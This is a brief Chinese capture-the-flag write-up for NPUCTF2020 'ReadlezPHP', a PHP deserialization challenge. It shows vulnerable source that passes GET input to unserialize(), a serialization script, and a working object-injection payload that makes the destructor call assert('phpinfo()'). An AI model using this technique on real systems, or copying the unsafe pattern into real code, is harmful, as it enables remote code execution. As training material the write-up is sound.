NPUCTF2020]ReadlezPHP

考点：反序列化
查看源码

源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

进行序列化

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    
    
}
$c = new HelloPhp;
 
$c = new HelloPhp();
$d = serialize($c);
echo $d;
 
//@$ppp = unserialize($_GET["data"]);
 
 #O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload

/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

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